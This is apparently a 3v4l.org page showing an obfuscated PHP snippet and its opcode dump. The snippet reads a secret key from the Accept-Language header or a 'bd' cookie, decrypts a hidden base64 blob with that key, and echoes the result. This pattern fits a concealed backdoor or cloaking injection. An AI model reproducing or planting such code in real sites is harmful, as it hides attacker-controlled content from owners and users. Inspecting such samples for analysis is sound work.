3v4l.org

run code in 300+ PHP versions simultaneously
<? if(preg_match("%([a-f0-9]{32})%iU",$_SERVER['HTTP_ACCEPT_LANGUAGE'],$tmp)) {$key=$tmp[1];}elseif($_COOKIE['bd']){$key=$_COOKIE['bd'];} if($key){$qev=base64_decode("z8xYXlWSqaiMv13U3FfCXazJrZSfiV3DeqeKj1vWql5dKaHjRUCamYKLXMOGsreEwFui3F6QXNye2pTOXliTtYGKVFuN17Bdjlyd4EVun8mEWImTgbOKh46Iqspav1ZaWoVWllBPubqTXaKqicBh31rJ223Lo6HJpVtXwImzhraRW6XLWZQsJ92NYXGXqtTMrMleh8qnkVRVw4eChrWUi6TZXZFdoJiabG/Zy2Bal6qLnrVxQMzKUI1YkLSGhoe8YNWWyF2RVItYVyRftrWLioxa08asi5OM35PUpKqMW5KDsIy4jomnl5qMj2MgJMW2h4mFjonUm9hdwI1r4g==");$l=strlen($qev);$ll=strlen($key);$c=0;$i=0;for($i=0;$i<$l;$i++){$qev[$i]=chr(ord($qev[$i])-ord($key[$c]));if($ll<$c++){$c=0;}} echo($qev);} ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 8, Position 2 = 11
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 52
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 49
Branch analysis from position: 49
2 jumps found. (Code = 44) Position 1 = 51, Position 2 = 30
Branch analysis from position: 51
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 30
2 jumps found. (Code = 43) Position 1 = 47, Position 2 = 48
Branch analysis from position: 47
2 jumps found. (Code = 44) Position 1 = 51, Position 2 = 30
Branch analysis from position: 51
Branch analysis from position: 30
Branch analysis from position: 48
Branch analysis from position: 52
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 17
Branch analysis from position: 14
2 jumps found. (Code = 43) Position 1 = 18, Position 2 = 52
Branch analysis from position: 18
Branch analysis from position: 52
Branch analysis from position: 17
filename:       /in/roodp
function name:  (null)
number of ops:  53
compiled vars:  !0 = $tmp, !1 = $key, !2 = $qev, !3 = $l, !4 = $ll, !5 = $c, !6 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'preg_match'
          1        SEND_VAL                                                 '%25%28%5Ba-f0-9%5D%7B32%7D%29%25iU'
          2        FETCH_R                      global              ~7      '_SERVER'
          3        FETCH_DIM_R                                      ~8      ~7, 'HTTP_ACCEPT_LANGUAGE'
          4        SEND_VAL                                                 ~8
          5        SEND_REF                                                 !0
          6        DO_ICALL                                         $9      
          7      > JMPZ                                                     $9, ->11
    3     8    >   FETCH_DIM_R                                      ~10     !0, 1
          9        ASSIGN                                                   !1, ~10
         10      > JMP                                                      ->17
         11    >   FETCH_R                      global              ~12     '_COOKIE'
         12        FETCH_DIM_R                                      ~13     ~12, 'bd'
         13      > JMPZ                                                     ~13, ->17
         14    >   FETCH_R                      global              ~14     '_COOKIE'
         15        FETCH_DIM_R                                      ~15     ~14, 'bd'
         16        ASSIGN                                                   !1, ~15
    5    17    > > JMPZ                                                     !1, ->52
         18    >   INIT_FCALL                                               'base64_decode'
         19        SEND_VAL                                                 'z8xYXlWSqaiMv13U3FfCXazJrZSfiV3DeqeKj1vWql5dKaHjRUCamYKLXMOGsreEwFui3F6QXNye2pTOXliTtYGKVFuN17Bdjlyd4EVun8mEWImTgbOKh46Iqspav1ZaWoVWllBPubqTXaKqicBh31rJ223Lo6HJpVtXwImzhraRW6XLWZQsJ92NYXGXqtTMrMleh8qnkVRVw4eChrWUi6TZXZFdoJiabG%2FZy2Bal6qLnrVxQMzKUI1YkLSGhoe8YNWWyF2RVItYVyRftrWLioxa08asi5OM35PUpKqMW5KDsIy4jomnl5qMj2MgJMW2h4mFjonUm9hdwI1r4g%3D%3D'
         20        DO_ICALL                                         $17     
         21        ASSIGN                                                   !2, $17
         22        STRLEN                                           ~19     !2
         23        ASSIGN                                                   !3, ~19
         24        STRLEN                                           ~21     !1
         25        ASSIGN                                                   !4, ~21
         26        ASSIGN                                                   !5, 0
         27        ASSIGN                                                   !6, 0
         28        ASSIGN                                                   !6, 0
         29      > JMP                                                      ->49
         30    >   INIT_FCALL                                               'chr'
         31        INIT_FCALL                                               'ord'
         32        FETCH_DIM_R                                      ~27     !2, !6
         33        SEND_VAL                                                 ~27
         34        DO_ICALL                                         $28     
         35        INIT_FCALL                                               'ord'
         36        FETCH_DIM_R                                      ~29     !1, !5
         37        SEND_VAL                                                 ~29
         38        DO_ICALL                                         $30     
         39        SUB                                              ~31     $28, $30
         40        SEND_VAL                                                 ~31
         41        DO_ICALL                                         $32     
         42        ASSIGN_DIM                                               !2, !6
         43        OP_DATA                                                  $32
         44        POST_INC                                         ~33     !5
         45        IS_SMALLER                                               !4, ~33
         46      > JMPZ                                                     ~34, ->48
         47    >   ASSIGN                                                   !5, 0
         48    >   PRE_INC                                                  !6
         49    >   IS_SMALLER                                               !6, !3
         50      > JMPNZ                                                    ~37, ->30
    6    51    >   ECHO                                                     !2
    7    52    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
159.49 ms | 1400 KiB | 21 Q